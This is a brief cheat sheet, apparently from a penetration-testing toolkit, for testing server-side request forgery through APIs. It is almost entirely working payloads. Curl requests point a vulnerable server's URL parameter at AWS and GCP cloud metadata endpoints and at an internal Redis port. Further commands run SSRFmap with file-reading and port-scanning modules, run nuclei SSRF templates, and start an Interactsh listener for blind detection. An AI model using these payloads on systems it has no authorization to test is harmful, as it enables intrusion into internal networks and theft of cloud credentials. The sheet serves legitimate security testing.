<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
<!-- NERF is a trademark of defconxt. -->
# API Reference — Testing SSRF via API

## curl — SSRF Payloads
```bash
# AWS metadata
curl -X POST URL -H "Content-Type: application/json" \
  -d '{"url":"http://169.254.169.254/latest/meta-data/"}'

# GCP metadata
curl -X POST URL -H "Content-Type: application/json" \
  -d '{"url":"http://metadata.google.internal/computeMetadata/v1/"}'

# Internal port scan
curl -X POST URL -H "Content-Type: application/json" \
  -d '{"url":"http://127.0.0.1:6379/"}'
```

## SSRFmap — Automated Testing
```bash
ssrfmap -r request.txt -p url -m readfiles,portscan
```

## nuclei — SSRF Templates
```bash
nuclei -u https://target.com -t http/vulnerabilities/generic-ssrf.yaml
nuclei -u https://target.com -t http/vulnerabilities/ -tags ssrf
```

## Interactsh — OOB Detection
```bash
interactsh-client -v  # Start listener
# Use generated URL as SSRF payload for blind detection
```
